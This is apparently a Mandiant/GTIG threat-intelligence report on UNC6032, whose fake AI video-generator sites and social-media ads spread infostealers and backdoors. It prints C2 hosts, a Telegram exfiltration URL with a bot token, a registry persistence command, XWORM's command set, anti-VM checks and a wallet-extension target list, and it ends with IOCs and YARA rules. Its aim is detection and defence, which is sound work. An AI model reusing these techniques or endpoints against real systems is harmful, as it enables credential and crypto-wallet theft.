• https[:]//lihi[.]cc/5nlgd

• https[:]//lihi[.]cc/edcOv

• https[:]//lihi[.]cc/4z5sh

• https[:]//tinyurl[.]com/mr42t4yv

• https[:]//tinyurl[.]com/hycev3y7

• https[:]//tinyurl[.]com/mpa2c5wj

• https[:]//tinyurl[.]com/3wnz46pv

• https[:]//my5353[.]com/ppOH5

• https[:]//my5353[.]com/nWyTf

• https[:]//my5353[.]com/fPUcX

• https[:]//my5353[.]com/ZwEkm

• https[:]//my5353[.]com/vEWiT

• https[:]//reurl[.]cc/WNr2Xy

Calendar

• 104075625139-l53k83pb6jbbc2qbreo4i5a0vepen41j.apps.googleusercontent.com

• https[:]//www[.]googleapis[.]com/calendar/v3/calendars/ff57964096cadc1a8733cf566b41c9528c89d30edec86326c723932c1e79ebf0@group.calendar.google.com/events

YARA Rules rule G_Backdoor_TOUGHPROGRESS_LNK_1 { meta: author = "GTIG" date_created = "2025-04-29" date_modified = "2025-04-29" md5 = "65da1a9026cf171a5a7779bc5ee45fb1" rev = 1 strings: $marker = { 4C 00 00 00 } $str1 = "rundll32.exe" ascii wide $str2 = ".\\image\\7.jpg,plus" wide $str3 = "%PDF-1" $str4 = "PYL=" condition: $marker at 0 and all of them } rule G_Dropper_PLUSDROP_1 { meta: author = "GTIG" date_created = "2025-04-29" date_modified = "2025-04-29" md5 = "9492022a939d4c727a5fa462590dc0dd" rev = 1 strings: $decrypt_and_launch_payload = { 48 8B ?? 83 ?? 0F 0F B6 ?? ?? ?? 30 04 ?? 48 FF ?? 49 3B ?? 72 ?? 80 [1-5] 00 75 ?? B? 5B 55 D2 56 [0-8] E8 [4-32] 33 ?? 33 ?? FF D? [0-4] FF D? } condition: uint16(0) == 0x5a4d and all of them } Additional YARA Rules

This is a second dropper used to launch PLUSDROP in another TOUGHPROGRESS campaign.

rule G_Dropper_TOUGHPROGRESS_XML_1 { meta: author = "GTIG" description = "XML lure file used to launch a PLUSDROP dll." md5 = "dccbb41af2fcf78d56ea3de8f3d1a12c" strings: $str1 = "System.Convert.FromBase64String" $str2 = "VirtualAlloc" $str3 = ".InteropServices.Marshal.Copy" $str4 = ".DllImport" $str5 = "kernel32.dll" $str6 = "powrprof.dll" $str7 = ".Marshal.GetDelegateForFunctionPointer" condition: uint16(0)!= 0x5A4D and all of them and filesize > 500KB and filesize < 5MB }

PLUSBED is an additional stage observed in other TOUGHPROGRESS campaigns.

rule G_Dropper_PLUSBED_2 { meta: author = "GTIG" date_created = "2025-04-29" date_modified = "2025-04-29" md5 = "39a46d7f1ef9b9a5e40860cd5f646b9d" rev = 1 strings: $api1 = { BA 54 B8 B9 1A } $api2 = { BA 78 1F 20 7F } $api3 = { BA 62 34 89 5E } $api4 = { BA 65 62 10 4B } $api5 = { C7 44 24 34 6E 74 64 6C 66 C7 44 24 38 6C 00 FF D0 } condition: uint16(0) != 0x5A4D and all of them }

Written by: Diana Ion, Rommel Joven, Yash Gupta

Since November 2024, Mandiant Threat Defense has been investigating an UNC6032 campaign that weaponizes the interest around AI tools, in particular those tools which can be used to generate videos based on user prompts. UNC6032 utilizes fake “AI video generator” websites to distribute malware leading to the deployment of payloads such as Python-based infostealers and several backdoors. Victims are typically directed to these fake websites via malicious social media ads that masquerade as legitimate AI video generator tools like Luma AI, Canva Dream Lab, and Kling AI, among others. Mandiant Threat Defense has identified thousands of UNC6032-linked ads that have collectively reached millions of users across various social media platforms like Facebook and LinkedIn. We suspect similar campaigns are active on other platforms as well, as cybercriminals consistently evolve tactics to evade detection and target multiple platforms to increase their chances of success. 

Mandiant Threat Defense has observed UNC6032 compromises culminating in the exfiltration of login credentials, cookies, credit card data, and Facebook information through the Telegram API. This campaign has been active since at least mid-2024 and has impacted victims across different geographies and industries. Google Threat Intelligence Group (GTIG) assesses UNC6032 to have a Vietnam nexus. 

Mandiant Threat Defense acknowledges Meta's collaborative and proactive threat hunting efforts in removing the identified malicious ads, domains, and accounts. Notably, a significant portion of Meta’s detection and removal began in 2024, prior to Mandiant alerting them of additional malicious activity we identified.

A similar investigation was recently published by Morphisec.

Campaign Overview

Threat actors haven't wasted a moment capitalizing on the global fascination with Artificial Intelligence. As AI's popularity surged over the past couple of years, cybercriminals quickly moved to exploit the widespread excitement. Their actions have fueled a massive and rapidly expanding campaign centered on fraudulent websites masquerading as cutting-edge AI tools. These websites have been promoted by a large network of misleading social media ads, similar to the ones shown in Figure 1 and Figure 2.

Figure 1: Malicious Facebook ads

Figure 2: Malicious LinkedIn ads

As part of Meta’s implementation of the Digital Services Act, the Ad Library displays additional information (ad campaign dates, targeting parameters and ad reach) on all ads that target people from the European Union. LinkedIn has also implemented a similar transparency tool.

Our research through both Ad Library tools identified over 30 different websites, mentioned across thousands of ads, active since mid 2024, all displaying similar ad content. The majority of ads which we found ran on Facebook, with only a handful also advertised on LinkedIn. The ads were published using both attacker-created Facebook pages, as well as by compromised Facebook accounts. Mandiant Threat Defense performed further analysis of a sample of over 120 malicious ads and, from the EU transparency section of the ads, their total reach for EU countries was over 2.3 million users. Table 1 displays the top 5 Facebook ads by reach. It should be noted that reach does not equate to the number of victims. According to Meta, the reach of an ad is an estimated number of how many Account Center accounts saw the ad at least once.

Ad Library ID

Ad Start Date

Ad End Date

EU Reach

1589369811674269

14.12.2024

18.12.2024

300,943

559230916910380

04.12.2024

09.12.2024

298,323

926639029419602

07.12.2024

09.12.2024

270,669

1097376935221216

11.12.2024

12.12.2024

124,103

578238414853201

07.12.2024

10.12.2024

111,416 Table 1: Top 5 Facebook ads by reach

The threat actor constantly rotates the domains mentioned in the Facebook ads, likely to avoid detection and account bans. We noted that once a domain is registered, it will be referenced in ads within a few days if not the same day. Moreover, most of the ads are short lived, with new ones being created on a daily basis. 

On LinkedIn, we identified roughly 10 malicious ads, each directing users to hxxps://klingxai[.]com. This domain was registered on September 19, 2024, and the first ad appeared just a day later. These ads have a total impression estimate of 50k-250k. For each ad, the United States was the region with the highest percentage of impressions, although the targeting included other regions such as Europe and Australia.

Ad Library ID

Ad Start Date

Ad End Date

Total Impressions

% Impressions in the US

490401954

20.09.2024

20.09.2024

<1k

22

508076723

27.09.2024

28.09.2024

10k-50k

68

511603353

30.09.2024

01.10.2024

10k-50k

61

511613043

30.09.2024

01.10.2024

10k-50k

40

511613633

30.09.2024

01.10.2024

10k-50k

54

511622353

30.09.2024

01.10.2024

10k-50k

36

Table 2: LinkedIn ads

From the websites investigated, Mandiant Threat Defense observed that they have similar interfaces and offer purported functionalities such as text-to-video or image-to-video generation. Once the user provides a prompt to generate a video, regardless of the input, the website will serve one of the static payloads hosted on the same (or related) infrastructure. 

The payload downloaded is the STARKVEIL malware. It drops three different modular malware families, primarily designed for information theft and capable of downloading plugins to extend their functionality. The presence of multiple, similar payloads suggests a fail-safe mechanism, allowing the attack to persist even if some payloads are detected or blocked by security defences.

In the next section, we will delve deeper into one particular compromise Mandiant Threat Defense responded to.

Luma AI Investigation Infection Chain

Figure 3: Infection chain lifecycle

This blog post provides a detailed analysis of our findings on the key components of this campaign:

• Lure: The threat actors leverage social networks to push AI-themed ads that direct users to fake AI websites, resulting in malware downloads.

• Malware: It contains several malware components, including the STARKVEIL dropper, which deploys the XWORM and FROSTRIFT backdoors and the GRIMPULL downloader.

• Execution: The malware makes extensive use of DLL side-loading, in-memory droppers, and process injection to execute its payloads.

• Persistence: It uses AutoRun registry key for its two Backdoors (XWORM and FROSTRIFT).

• Anti-VM and Anti-analysis: GRIMPULL checks for commonly used artifacts\features from known Sandbox and analysis tools.

• Reconnaissance 

• Host reconnaissance: XWORM and FROSTRIFT survey the host by collecting information, including OS, username, role, hardware identifiers, and installed AV.

• Software reconnaissance: FROSTRIFT checks the existence of certain messaging applications and browsers.

• Command-and-control (C2)

• Tor: GRIMPULL utilizes a Tor Tunnel to fetch additional .NET payloads.

• Telegram: XWORM sends victim notification via telegram including information gathered during host reconnaissance.

• TCP: The malware connects to its C2 using ports 7789, 25699, 56001.

• Information stealer 

• Keylogger: XWORM log keystrokes from the host.

• Browser extensions: FROSTRIFT scans for 48 browser extensions related to Password managers, Authenticators, and Digital wallets potentially for data theft.

• Backdoor Commands: XWORM supports multiple commands for further compromise.

The Lure

This particular case began from a Facebook Ad for “Luma Dream AI Machine”, masquerading as a well-known text-to-video AI tool - Luma AI. The ad, as seen in Figure 4, redirected the user to an attacker-created website hosted at hxxps://lumalabsai[.]in/.

Figure 4: The ad the victim clicked on

Once on the fake Luma AI website, the user can click the “Start Free Now” button and choose from various video generation functionalities. Regardless of the selected option, the same prompt is displayed, as shown in the GIF in Figure 5. 

This multi-step process, made to resemble any other legitimate text-to-video or image-to-video generation tool website, creates a sense of familiarity to the user and does not give any immediate indication of malicious intent. Once the user hits the generate button, a loading bar appears, mimicking an AI model hard at work. After a few seconds, when the new video is supposedly ready, a Download button is displayed. This leads to the download of a ZIP archive file on the victim host.

Figure 5: Fake AI video generation website

Unsurprisingly, the ready-to-download archive is one of many payloads already hosted on the same server, with no connection to the user input. In this case, several archives were hosted at the path hxxps://lumalabsai[.]in/complete/. Mandiant determined that the website will serve the archive file with the most recent “Last Modified” value, indicating continuous updates by the threat actor. Mandiant compared some of these payloads and found them to be functionally similar, with different obfuscation techniques applied, thus resulting in different sizes.

Figure 6: Payloads hosted at hxxps://lumalabsai[.]in/complete

Execution

The previously downloaded ZIP archive contains an executable with a double extension (.mp4 and .exe) in its name, separated by thirteen Braille Pattern Blank (Unicode: U+2800, UTF-8: E2 A0 80) characters. This is a special whitespace character from the Braille Pattern Block in Unicode.

Figure 7: Braille Pattern Blank characters in the file name

The resulting file name, Lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe, aims to make the binary less suspicious by pushing the .exe extension out of the user view. The number of Braille Pattern Blank characters used varies across different samples served, ranging from 13 to more than 30. To further hide the true purpose of this binary, the default .mp4 Windows icon is used on the malicious file.

Figure 8 shows how the file looks on Windows 11, compared to a legitimate .mp4 file.

Figure 8: Malicious binary vs legitimate .mp4 file

STARKVEIL

The binary Lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe, tracked by Mandiant as STARKVEIL, is a dropper written in Rust. Once executed, it extracts an embedded archive containing benign executables and its malware components. These are later utilized to inject malicious code into several legitimate processes. 

Executing the malware displays an error window, as seen in Figure 9, to trick the user into trying to execute it again and into believing that the file is corrupted.

Figure 9: Error window displayed when executing STARKVEIL

For a successful compromise, the executable needs to run twice; the initial execution results in the extraction of all the embedded files under the C:\winsystem\ directory.

Figure 10: Files in the winsystem directory

During the second execution, the main executable spawns the Python Launcher, py.exe, with an obfuscated Python command as an argument. The Python command decodes an embedded Python code, which Mandiant tracks as COILHATCH dropper. COILHATCH performs the following actions (note that the script has been deobfuscated and renamed for improved readability):

• The command takes a Base85-encoded string, decodes it, decompresses the result using zlib, deserializes the resulting data using the marshal module, and then executes the final deserialized data as Python code.

Figure 11: Python command

• The decompiled first-stage Python code combines RSA, AES, RC4, and XOR techniques to decrypt the second stage Python bytecode.

Figure 12: First-stage Python

• The decrypted second-stage Python script executes C:\winsystem\heif\heif.exe, which is a legitimate, digitally signed executable, used to side-load a malicious DLL. This serves as the launcher to execute the other malware components.

Figure 13: Second-stage Python

The following is the resulting process tree:

explorer.exe ↳ 7zfm.exe "<path>\Lumalabs_1926326251082123689-626.zip" ↳ "<path>\lumalabs_1926326251082123689-626.mp4⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀.exe" ↳ "C:\winsystem\py\py.exe" -c exec(__import__ ..<ENCODED PYTHON CODE>..) ↳ "C:\WINDOWS\system32\cmd.exe" /c "C:\winsystem\heif\heif.exe" ↳ "C:\winsystem\heif\heif.exe" Malware Analysis

As mentioned, the STARKVEIL malware drops its components during its first execution and executes a launcher on its second execution. The complete analysis of all the malware components and their roles is provided in the next sections.

Directory

Benign File

Side-Loaded DLL

Role (Malware)

C:\winsystem\heif

heif.exe

heif.dll

(SHA256: 839260ac321a44da55d4e6a5130c12869066af712f71c558bd42edd56074265b)

Launcher

%APPDATA%\Launcher

Launcher.exe

libde265.dll

(SHA256: 4982a33e0c2858980126b8279191cb4eddd0a35f936cf3eda079526ba7c76959)

Persistence

%APPDATA%\python

python.exe

avcodec-61.dll

(SHA256: 8d2c9c2b5af31e0e74185a82a816d3d019a0470a7ad8f5c1b40611aa1fd275cc)

Downloader (GRIMPULL)

%APPDATA%\pythonw

pythonw.exe

heif.dll

(SHA256: a0e75bd0b0fa0174566029d0e50875534c2fcc5ba982bd539bdeff506cae32d3)

Backdoor executed at runtime (XWORM)

C:\winsystem\heif-info

heif-info.exe

heif.dll

(SHA256: 1a037da4103e38ff95cb0008a5e38fd6a8e7df5bc8e2d44e496b7a5909ddebeb)

Backdoor for persistence (XWORM)

%APPDATA%\ffplay

ffplay.exe

libde265.dll

(SHA256: dcb1e9c6b066c2169928ae64e82343a250261f198eb5d091fd7928b69ed135d3)

Backdoor executed at runtime (FROSTRIFT)

C:\winsystem\heif2rgb

heif2rgb.exe

heif.dll

(SHA256: e663c1ba289d890a74e33c7e99f872c9a7b63e385a6a4af10a856d5226c9a822)

Backdoor for persistence (FROSTRIFT)

Table 3: Malware components

Each of these DLLs operates as an in-memory dropper and spawns a new victim process to perform code injection through process replacement.

Launcher

The execution of C:\winsystem\heif\heif.exe results in the side-loading of the malicious heif.dll, located in the same directory. This DLL is an in-memory dropper that spawns a legitimate Windows process (which may vary) and performs code injection through process replacement.

The injected code is a .NET executable that acts as a launcher and performs the following:

1. Moves multiple folders from C:\winsystem to %APPDATA%. The destination folders are:
   • %APPDATA%\python
   • %APPDATA%\pythonw
   • %APPDATA%\ffplay
   • %APPDATA%\Launcher
2. Launches three legitimate processes to side-load associated malicious DLLs. The malicious DLLs for each process are:
   • python.exe: %APPDATA%\python\avcodec-61.dll
   • pythonw.exe: %APPDATA%\pythonw\heif.dll
   • ffplay.exe: %APPDATA%\ffplay\libde265.dll
3. Establishes persistence via AutoRun registry key.
   • value: Dropbox
   • key: SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
   • root: HKCU\
   • value data: "cmd.exe /c \"cd /d "<exePath>" && "Launcher.exe""

Figure 14: Main function of launcher

The AutoRun Key executes %APPDATA%\Launcher\Launcher.exe that sideloads the DLL file libde265.dll. This DLL spawns and injects its payload into AddInProcess32.exe via PE hollowing. The injected code’s main purpose is to execute the legitimate binaries C:\winsystem\heif2rgb\heif2rgb.exe and C:\winsystem\heif-info\heif-info.exe, which, in turn, sideload the backdoors XWORM and FROSTRIFT, respectively.

GRIMPULL

Of the three executables, the launcher first executes %APPDATA%\python\python.exe, which side-loads the DLL avcodec-61.dll and injects the malware GRIMPULL into a legitimate Windows process. 

GRIMPULL is a .NET-based downloader that incorporates anti-VM capabilities and utilizes Tor for C2 server connections.

Anti-VM and Anti-Analysis 

GRIMPULL begins by checking for the presence of the mutex value aff391c406ebc4c3, and terminates itself if this is found. Otherwise, the malware proceeds to perform further anti-VM checks, exiting in case any of the mentioned checks succeeds.

Anti-VM and Anti-Analysis Checks

Module Detection

Checks for sandbox/analysis tool DLLs:

• SbieDll.dll (Sandboxie)

• cuckoomon.dll (Cuckoo Sandbox)

BIOS Information Checks

Queries Win32_BIOS via WMI and checks version and serial number for:

• VMware

• VIRTUAL

• A M I (AMI BIOS)

• Xen

Parent Process Check

Checks if parent process is cmd (command line)

VM File Detection

Checks for existence of vmGuestLib.dll in the System folder

System Manufacturer Checks

Queries Win32_ComputerSystem via WMI and checks manufacturer and model for:

• Microsoft (Hyper-V)

• VMWare

• Virtual

Display and System Configuration Checks

Checks for specific screen resolutions:

• 1440x900

• 1024x768

• 1280x1024

Checks if the OS is 32-bit

Username Checks

Checks for common analysis environment usernames:

• john

• anna

• Any username containing xxxxxxxx

Table 4: Anti-VM and Anti-analysis checks Download Function

GRIMPULL verifies the presence of a Tor process. If a Tor process is not detected, it proceeds to download, decompress, and execute Tor from the following URL:

https://archive.torproject.org/tor-package-archive/torbrowser/13.0.9/ tor-expert-bundle-windows-i686-13.0.9.tar.gz

Figure 15: Download function

Afterwards, Tor will run locally on port 9050.

C2 Communication

GRIMPULL then attempts to connect to the following C2 server via the Tor tunnel over TCP.

strokes[.]zapto[.]org:7789

The malware maintains this connection and periodically checks for .NET payloads. Fetched payloads are decrypted using TripleDES in ECB mode with the MD5 hash of the campaign ID aff391c406ebc4c3 as the decryption key, decompressed with GZip (using a 4-byte length prefix), reversed, and then loaded into memory as .NET assemblies.

Malware Configuration

The configuration elements are encoded as base64 strings, as shown in Figure 16.

Figure 16: Encoded malware configuration

Table 5 shows the extracted malware configuration.

GRIMPULL Malware Configuration

C2 domain/server

strokes[.]zapto[.]org

Port number

7789

Unique identifier/campaign ID 

aff391c406ebc4c3

Configuration profile name

Default

Table 5: GRIMPULL configuration XWORM

Secondly, the launcher executes the file %APPDATA%\pythonw\pythonw.exe, which side-loads the DLL heif.dll and injects XWORM into a legitimate Windows process.

XWORM is a .NET-based backdoor that communicates using a custom binary protocol over TCP. Its core functionality involves expanding its capabilities through a plugin management system. Downloaded plugins are written to disk and executed. Supported capabilities include keylogging, command execution, screen capture, and spreading to USB drives.

XWORM Configuration

The malware begins by decoding its configuration using the AES algorithm.

Figure 17: Decryption of configuration

Table 6 shows the extracted malware configuration.

XWORM Malware Configuration

Host

artisanaqua[.]ddnsking[.]com

Port number

25699

KEY

<123456789>

SPL

<Xwormmm>

Version

XWorm V5.2

USBNM

USB.exe

Telegram Token

8060948661:AAFwePyBCBu9X-gOemLYLlv1owtgo24fcO0

Telegram ChatID

-1002475751919

Mutex

ZMChdfiKw2dqF51X

Table 6: XWORM configuration Host Reconnaissance

The malware then performs a system survey to gather the following information:

• Bot ID

• Username

• OS Name

• If it’s running on USB

• CPU Name

• GPU Name

• Ram Capacity

• AV Products list

Sample of collected information:

☠ [KW-2201] New Clinet : <client_id_from_machine_info_hash> UserName : <victim_username> OSFullName : <victim_OS_name> USB : <is_sample_name_USB.exe> CPU : <cpu_description> GPU : <gpu_description> RAM : <ram_size_in_GBs> Groub : <installed_av_solutions>

This information is sent to a Telegram chat:

hxxps[:]//api[.]telegram[.]org:443/bot8060948661:AAFwePyBCBu9X-gOemLYLlv1 owtgo24fcO0/sendMessage?chat_id=-1002475751919&text=<collected_sysinfo> Keylogging

The malware sample saves the logged keystrokes to the file %temp%\Log.tmp.

Sample of content of Log.tmp:

....### explorer ###..[Back] [Back] b a n k [ENTER] C2 Communication

The sample connects to its C2 server at tcp://artisanaqua[.]ddnsking[.]com:25699 and initially sends the following information to the C2:

"INFO<Xwormmm>victim_id<Xwormmm>user<Xwormmm> os_name<Xwormmm>XWorm V5.2<Xwormmm>date_in_dd/mm/yyyy <Xwormmm>is_sample_name_USB.exe <Xwormmm>is_administrator<Xwormmm>has_webcam<Xwormmm>cpu_info <Xwormmm>gpu_info<Xwormmm>ram_size<Xwormmm>installed_AVs"

Then the sample waits for any of the following supported commands:

Command

Description

Command

Description

pong

echo back to server

StartDDos

Spam HTTP requests over TCP to target

rec

restart bot

StopDDos

Kill DDOS threads

CLOSE

shutdown bot

StartReport

List running processes continuously

uninstall

self delete

StopReport

Kill process monitoring threads

update

uninstall and execute received new version

Xchat

Send C2 message

DW

Execute file on disk via powershell

Hosts

Get hosts file contents

FM

Execute .NET file in memory

Shosts

Write to file, likely to overwrite hosts file contents

LN

Download file from supplied URL and execute on disk

DDos

Unimplemented

Urlopen

Perform network request via browser

ngrok

Unimplemented

Urlhide

Perform network request in process

plugin

Load a Bot plugin

PCShutdown

Shutdown PC now

savePlugin

Save plugin to registry and load it HKCU\Software\<victim_id>\<plugin_name>=<plugin_bytes>

PCRestart

Restart PC now

RemovePlugins

Delete all plugins in registry

PCLogoff

Log off

OfflineGet

Read Keylog

RunShell

Execute CMD on shell

$Cap

Get screen capture

Table 7: Supported commands FROSTRIFT

Lastly, the launcher executes the file %APPDATA%\ffplay\ffplay.exe to side-load the DLL %APPDATA%\ffplay\libde265.dll and inject FROSTRIFT into a legitimate Windows process.

FROSTRIFT is a .NET backdoor that collects system information, installed applications, and crypto wallets. Instead of receiving C2 commands, it receives .NET modules that are stored in the registry to be loaded in-memory. It communicates with the C2 server using GZIP-compressed protobuf messages over TCP/SSL.

Malware Configuration

The malware starts by decoding its configuration, which is a Base64-encoded and GZIP-compressed protobuf message embedded within the strings table.

Figure 18: FROSTRIFT configuration

Table 8 shows the extracted malware configuration.

Field 

Value

Protobuf Tag

38

C2 Domain

strokes.zapto[.]org

C2 Port

56001

SSL Certificate

<Base64 encoded SSL certificate>

Unknown

Default

Installation folder

APPDATA

Mutex

7d9196467986

Table 8: FROSTRIFT configration Persistence

FROSTRIFT can achieve persistence by running the command:

powershell.exe "Remove-ItemProperty -Path 'HKCU:\SOFTWARE\ Microsoft\Windows\CurrentVersion\Run' -Name '<sample_file_name> ';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run' -Name '<sample_file_name>' -Value '""%APPDATA% \<sample_file_name>""' -PropertyType 'String'"

The sample copies itself to %APPDATA% and adds a new registry value under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run with the new file path as data to ensure persistence at each system startup.

Host Reconnaissance

The following information is initially collected and submitted by the malware to the C2:

Collected Information

Host information

• Installed Anti-Virus 

• Web camera 

• Hostname

• Username and Role

• OS name

• Local time

Victim ID

HEX digest of the MD5 hash for the following combined:

• Sample process ID

• Disk drive serial number

• Physical memory serial number

• Victim user name

Malware Version

4.1.8

Software Applications

• com.liberty.jaxx 

• Foxmail 

• Telegram

• Browsers (see Table 10)

Standalone Crypto Wallets

• Atomic, Bitcoin-Qt, Dash-Qt, Electrum, Ethereum, Exodus, Litecoin-Qt, Zcash, Ledger Live

Browser Extension

• Password managers, Authenticators, and Digital wallets (see Table 11)

Others

• 5th entry from the Config (“Default” in this sample)

• Malware full file path

Table 9: Collected information

FROSTRIFT checks for the existence of the following browsers:

Chromium, Chrome, Brave, Edge, QQBrowser, ChromePlus, Iridium, 7Star, CentBrowser, Chedot, Vivaldi, Kometa, Elements Browser, Epic Privacy Browser, uCozMedia Uran, Sleipnir5, Citrio, Coowon, liebao, QIP Surf, Orbitum, Dragon, Amigo, Torch, Comodo, 360Browser, Maxthon3, K-Melon, Sputnik, Nichrome, CocCoc, Uran, Chromodo, Atom

Table 10: List of browsers

FROSTRIFT also checks for the existence of 48 browser extensions related to Password managers, Authenticators, and Digital wallets. The full list is provided in Table 11.

String

Extension

ibnejdfjmmkpcnlpebklmnkoeoihofec

TronLink

nkbihfbeogaeaoehlefnkodbefgpgknn

MetaMask

fhbohimaelbohpjbbldcngcnapndodjp

Binance Chain Wallet

ffnbelfdoeiohenkjibnmadjiehjhajb

Yoroi

cjelfplplebdjjenllpjcblmjkfcffne

Jaxx Liberty

fihkakfobkmkjojpchpfgcmhfjnmnfpi

BitApp Wallet

kncchdigobghenbbaddojjnnaogfppfj

iWallet

aiifbnbfobpmeekipheeijimdpnlpgpp

Terra Station

ijmpgkjfkbfhoebgogflfebnmejmfbml

BitClip

blnieiiffboillknjnepogjhkgnoapac

EQUAL Wallet

amkmjjmmflddogmhpjloimipbofnfjih

Wombat

jbdaocneiiinmjbjlgalhcelgbejmnid

Nifty Wallet

afbcbjpbpfadlkmhmclhkeeodmamcflc

Math Wallet

hpglfhgfnhbgpjdenjgmdgoeiappafln

Guarda

aeachknmefphepccionboohckonoeemg

Coin98 Wallet

imloifkgjagghnncjkhggdhalmcnfklk

Trezor Password Manager

oeljdldpnmdbchonielidgobddffflal

EOS Authenticator

gaedmjdfmmahhbjefcbgaolhhanlaolb

Authy

ilgcnhelpchnceeipipijaljkblbcobl

GAuth Authenticator

bhghoamapcdpbohphigoooaddinpkbai

Authenticator

mnfifefkajgofkcjkemidiaecocnkjeh

TezBox

dkdedlpgdmmkkfjabffeganieamfklkm

Cyano Wallet

aholpfdialjgjfhomihkjbmgjidlcdno

Exodus Web3

jiidiaalihmmhddjgbnbgdfflelocpak

BitKeep

hnfanknocfeofbddgcijnmhnfnkdnaad

Coinbase Wallet

egjidjbpglichdcondbcbdnbeeppgdph

Trust Wallet

hmeobnfnfcmdkdcmlblgagmfpfboieaf

XDEFI Wallet

bfnaelmomeimhlpmgjnjophhpkkoljpa

Phantom

fcckkdbjnoikooededlapcalpionmalo

MOBOX WALLET

bocpokimicclpaiekenaeelehdjllofo

XDCPay

flpiciilemghbmfalicajoolhkkenfel

ICONex

hfljlochmlccoobkbcgpmkpjagogcgpk

Solana Wallet

cmndjbecilbocjfkibfbifhngkdmjgog

Swash

cjmkndjhnagcfbpiemnkdpomccnjblmj

Finnie

knogkgcdfhhbddcghachkejeap

Keplr

kpfopkelmapcoipemfendmdcghnegimn

Liquality Wallet

hgmoaheomcjnaheggkfafnjilfcefbmo

Rabet

fnjhmkhhmkbjkkabndcnnogagogbneec

Ronin Wallet

klnaejjgbibmhlephnhpmaofohgkpgkd

ZilPay

ejbalbakoplchlghecdalmeeeajnimhm

MetaMask

ghocjofkdpicneaokfekohclmkfmepbp

Exodus Web3

heaomjafhiehddpnmncmhhpjaloainkn

Trust Wallet

hkkpjehhcnhgefhbdcgfkeegglpjchdc

Braavos Smart Wallet

akoiaibnepcedcplijmiamnaigbepmcb

Yoroi

djclckkglechooblngghdinmeemkbgci

MetaMask

acdamagkdfmpkclpoglgnbddngblgibo

Guarda Wallet

okejhknhopdbemmfefjglkdfdhpfmflg

BitKeep

mijjdbgpgbflkaooedaemnlciddmamai

Waves Keeper

Table 11: List of browser extensions C2 Communication 

The malware expects the C2 to respond by sending GZIP-compressed Protobuf messages with the following fields:

• registry_val: A registry value under HKCU\Software\<victim_id> to store the loader_bytes.

• loader_bytes: Assembly module to load the loaded_bytes (stored at registry in reverse order).

• loaded_bytes: GZIP-compressed assembly module to be loaded in-memory.

The sample receives loader_bytes only in the first message as it stores it under the registry value HKCU\Software\<victim_id>\registry_val. For the subsequent messages, it only receives registry_val which it uses to fetch loader_bytes from the registry.

The sample sends empty GZIP-compressed Protobuf messages as a keep-alive mechanism until the C2 sends another assembly module to be loaded.

The malware has the ability to download and execute extra payloads from the following hardcoded URLs (this feature is not enabled in this sample):

• WebDriver2.exe: hxxps://github[.]com/DFfe9ewf/test3/raw/refs/heads/main/WebDriver.dll;

• chromedriver2.exe: hxxps://github[.]com/DFfe9ewf/test3/raw/refs/heads/main/chromedriver.exe

• msedgedriver2.exe: hxxps://github[.]com/DFfe9ewf/test3/raw/refs/heads/main/msedgedriver.exe

The files are WebDrivers for browsers that can be used for testing, automation, and interacting with the browser. They can also be used by attackers for malicious purposes, such as deploying additional payloads.

Conclusion

As AI has gained tremendous momentum recently, our research highlights some of the ways in which threat actors have taken advantage of it. Although our investigation was limited in scope, we discovered that well-crafted fake “AI websites” pose a significant threat to both organizations and individual users. These AI tools no longer target just graphic designers; anyone can be lured in by a seemingly harmless ad. The temptation to try the latest AI tool can lead to anyone becoming a victim. We advise users to exercise caution when engaging with AI tools and to verify the legitimacy of the website's domain. 

Acknowledgements

Special thanks to Stephen Eckels, Muhammad Umair, and Mustafa Nasser for their assistance in analyzing the malware samples. Richmond Liclican for his inputs and attribution. Ervin Ocampo, Swapnil Patil, Muhammad Umer Khan, and Muhammad Hasib Latif for providing the detection opportunities.

Detection Opportunities

The following indicators of compromise (IOCs) and YARA rules are also available as a collection and rule pack in Google Threat Intelligence (GTI). 

Host-Based IOCs

File

SHA256

Notes

Lumalabs_1926326251082123689-626.zip

8863065544df546920ce6189dd3f99ab3f5d644d3d9c440667c1476174ba862b

Downloaded ZIP archive

Lumalabs_1926326251082123689-626.mp4⠀.exe

d3f50dc61d8c2be665a2d3933e2668448edc31546fea84517f8e61237c6d2e5d

STARKVEIL

C:\winsystem\heif\heif.dll

839260ac321a44da55d4e6a5130c12869066af712f71c558bd42edd56074265b

Launcher

%APPDATA%\Launcher\libde265.dll 

4982a33e0c2858980126b8279191cb4eddd0a35f936cf3eda079526ba7c76959

Persistence

%APPDATA%\python\avcodec-61.dll

8d2c9c2b5af31e0e74185a82a816d3d019a0470a7ad8f5c1b40611aa1fd275cc

GRIMPULL

%APPDATA%\pythonw\heif.dll

a0e75bd0b0fa0174566029d0e50875534c2fcc5ba982bd539bdeff506cae32d3

XWORM

C:\winsystem\heif-info\heif.dll

1a037da4103e38ff95cb0008a5e38fd6a8e7df5bc8e2d44e496b7a5909ddebeb

XWORM

%APPDATA%\ffplay\libde265.dll

dcb1e9c6b066c2169928ae64e82343a250261f198eb5d091fd7928b69ed135d3

FROSTRIFT

C:\winsystem\heif2rgb\heif.dll

e663c1ba289d890a74e33c7e99f872c9a7b63e385a6a4af10a856d5226c9a822

FROSTRIFT

Network-Based IOCs Malware Command and Control

Domain

strokes.zapto[.]org:7789

artisanaqua[.]ddnsking[.]com:25699

strokes.zapto[.]org:56001

Fake AI Domains

Domain

Registration Date

creativepro[.]ai

2024-07-10

boostcreatives[.]ai

2024-07-12

creativepro-ai[.]com

2024-08-02

boostcreatives-ai[.]com

2024-08-04

creativespro-ai[.]com

2024-08-07

klingxai[.]com

2024-09-19

lumaai-labs[.]com

2024-09-29

klings-ai[.]com

2024-10-17

luma-dream[.]com

2024-10-26

quirkquestai[.]com

2024-11-02

lumaai-dream[.]com

2024-11-06

lumaai-lab[.]com

2024-11-08

lumaaidream[.]com

2024-11-09

lumaailabs[.]com

2024-11-10

luma-dreamai[.]com

2024-11-12

ai-kling[.]com

2024-11-22

dreamai-luma[.]com

2024-12-13

aikling[.]ai

2025-01-04

aisoraplus[.]com

2025-01-07

lumalabsai[.]in

2025-01-16

canvadream-lab[.]com

